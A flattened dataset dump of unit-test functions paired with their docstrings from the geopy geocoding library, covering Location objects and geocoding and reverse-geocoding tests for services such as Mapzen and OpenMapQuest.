self.assertEqual(loc[0], GRAND_CENTRAL_STR)
self.assertEqual(loc[1][0], GRAND_CENTRAL_COORDS_TUPLE[0])
self.assertEqual(loc[1][1], GRAND_CENTRAL_COORDS_TUPLE[1])
|
'Location properties'
| def test_location_properties(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self._location_properties_test(loc)
|
'Location.raw'
| def test_location_raw(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT, raw=GRAND_CENTRAL_RAW)
self._location_properties_test(loc, GRAND_CENTRAL_RAW)
|
'str(Location) == Location.address'
| def test_location_string(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self.assertEqual(str(loc), loc.address)
|
'len(Location)'
| def test_location_len(self):
| loc = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
self.assertEqual(len(loc), 2)
|
'Location.__eq__'
| def test_location_eq(self):
| loc1 = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
loc2 = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_COORDS_TUPLE)
self.assertEqual(loc1, loc2)
|
'Location.__ne__'
| def test_location_ne(self):
| loc1 = Location(GRAND_CENTRAL_STR, GRAND_CENTRAL_POINT)
loc2 = Location(GRAND_CENTRAL_STR, None)
self.assertNotEqual(loc1, loc2)
|
'Location.__repr__ string and unicode'
| def test_location_repr(self):
| address = u('22, Ksi\\u0119dza Paw\\u0142a Po\\u015bpiecha, Centrum Po\\u0142udnie, Zabrze, wojew\xf3dztwo \\u015bl\\u0105skie, 41-800, Polska')
point = (0.0, 0.0, 0.0)
loc = Location(address, point)
if py3k:
self.assertEqual(repr(loc), ('Location(%s, %r)' % (add... |
'Starts Instance of Proxy in a TCPServer'
| def run_proxy(self):
| self.proxyd = SocketServer.TCPServer((self.proxy_host, self.proxy_port), Proxy).serve_forever()
print ('serving at port %s on PID %s ' % (self.proxy_port, self.proxyd.pid))
|
'LiveAddress.geocode'
| def test_geocode(self):
| try:
self.geocode_run({'query': '435 north michigan ave, chicago il 60611 usa'}, {'latitude': 41.89, 'longitude': (-87.624)})
except GeocoderAuthenticationFailure:
raise unittest.SkipTest('Non-geopy/geopy branches fail on this in CI due to an en... |
'LiveAddress() with scheme=http is a ConfigurationError'
| def test_http_error(self):
| with self.assertRaises(ConfigurationError):
LiveAddress(auth_id=env['LIVESTREETS_AUTH_ID'], auth_token=env['LIVESTREETS_AUTH_TOKEN'], scheme='http')
|
'Mapzen.geocode'
| def test_geocode(self):
| self.geocode_run({u'query': u'435 north michigan ave, chicago il 60611 usa'}, {u'latitude': 41.89, u'longitude': (-87.624)})
|
'Mapzen.geocode unicode'
| def test_unicode_name(self):
| self.geocode_run({u'query': u'san jos\xe9 california'}, {u'latitude': 37.33939, u'longitude': (-121.89496)})
|
'Mapzen.reverse string'
| def test_reverse_string(self):
| self.reverse_run({u'query': u'40.75376406311989, -73.98489005863667'}, {u'latitude': 40.75376406311989, u'longitude': (-73.98489005863667)})
|
'Mapzen.reverse Point'
| def test_reverse_point(self):
| self.reverse_run({u'query': Point(40.75376406311989, (-73.98489005863667))}, {u'latitude': 40.75376406311989, u'longitude': (-73.98489005863667)})
|
'OpenMapQuest.geocode'
| def test_geocode(self):
| self.geocode_run({'query': '435 north michigan ave, chicago il 60611 usa'}, {'latitude': 41.89, 'longitude': (-87.624)})
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.